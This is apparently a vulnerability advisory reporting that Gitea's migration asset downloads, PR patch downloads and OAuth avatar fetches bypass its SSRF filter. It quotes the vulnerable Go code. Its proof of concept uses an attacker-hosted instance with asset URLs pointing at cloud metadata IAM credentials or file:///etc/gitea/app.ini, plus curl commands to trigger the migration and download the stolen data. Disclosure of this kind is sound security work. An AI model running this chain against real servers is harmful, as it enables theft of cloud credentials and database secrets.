Gitea: SSRF via Migration Asset Downloads Bypasses hostmatcher — Reads Internal Files and Cloud Metadata

Summary

Gitea has robust SSRF protection via hostmatcher.NewDialContext() for webhook and migration clone URLs, which validates resolved IPs at the TCP dial level. However, three code paths use raw http.Get() (Go's DefaultClient) which completely bypasses this protection, enabling SSRF to internal services and local file read via the file:// scheme.

Vulnerable Code

File: modules/uri/uri.go (line 32) -- Core vulnerability

func Open(uriStr string) (io.ReadCloser, error) {
    u, err := url.Parse(uriStr)
    switch strings.ToLower(u.Scheme) {
    case "http", "https":
        f, err := http.Get(uriStr)   // RAW http.Get -- no hostmatcher filtering
        return f.Body, nil
    case "file":
        return os.Open(u.Path)        // LOCAL FILE READ via file:// scheme
    }
}

Callers in migration path:

• services/migrations/gitea_uploader.go:340 -- uri.Open(*asset.DownloadURL) for release assets
• services/migrations/gitea_uploader.go:586 -- uri.Open(pr.PatchURL) for PR patches

File: services/migrations/dump.go (lines 312, 453)

// Line 312 -- release asset download
resp, err := http.Get(*asset.DownloadURL)

// Line 453 -- PR patch download (with self-documenting TODO)
resp, err := http.Get(u) // TODO: This probably needs to use the downloader

File: routers/web/auth/oauth.go (line 306)

func oauth2UpdateAvatarIfNeed(ctx *context.Context, url string, u *user_model.User) {
    resp, err := http.Get(url)    // RAW http.Get -- no hostmatcher

Contrast with protected migration clone (same codebase):

// services/migrations/migrate.go:526 -- PROTECTED with hostmatcher
transport.DialContext = hostmatcher.NewDialContext("migration", allowList, blockList, ...)

PoC

# Step 1: Set up attacker Gitea instance with malicious release asset URLs
# Create a repo on evil.gitea.attacker.com with a release asset whose
# download_url points to internal services:

# Asset DownloadURL set to: http://169.254.169.254/latest/meta-data/iam/security-credentials/role
# Or: file:///etc/gitea/app.ini (local file read)

# Step 2: Admin triggers migration from attacker's Gitea instance
curl -s -X POST "https://target-gitea.com/api/v1/repos/migrate" \
  -H "Authorization: token ADMIN_API_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "clone_addr": "https://evil.gitea.attacker.com/user/repo.git",
    "repo_name": "migrated-repo",
    "repo_owner": "admin",
    "service": "gitea"
  }'

# Step 3: During migration, Gitea downloads release assets using unfiltered http.Get()
# Cloud metadata is saved as the release asset attachment in the migrated repo
# Or app.ini contents (with DB credentials, JWT secrets) are saved via file:// scheme

# Step 4: Attacker accesses the migrated repo's release assets to retrieve stolen data
curl -s "https://target-gitea.com/admin/migrated-repo/releases/download/v1.0/stolen-metadata.txt"

Impact

• Cloud metadata theft: 169.254.169.254 reachable via unfiltered http.Get() (AWS IMDSv1 credentials, GCP tokens)
• Local file read: file:// scheme in uri.Open() reads /etc/gitea/app.ini (database credentials, JWT signing secrets, SMTP passwords)
• Internal service scanning: Reach 127.0.0.1, 10.x, 172.16-31.x, 192.168.x networks
• Bypasses existing SSRF protection: The hostmatcher dialer is comprehensive but only applied to webhook and clone transports -- these three paths are unprotected
• Migration vectors require migration permission (admin/org owner); OAuth vector requires admin-configured custom OAuth2 source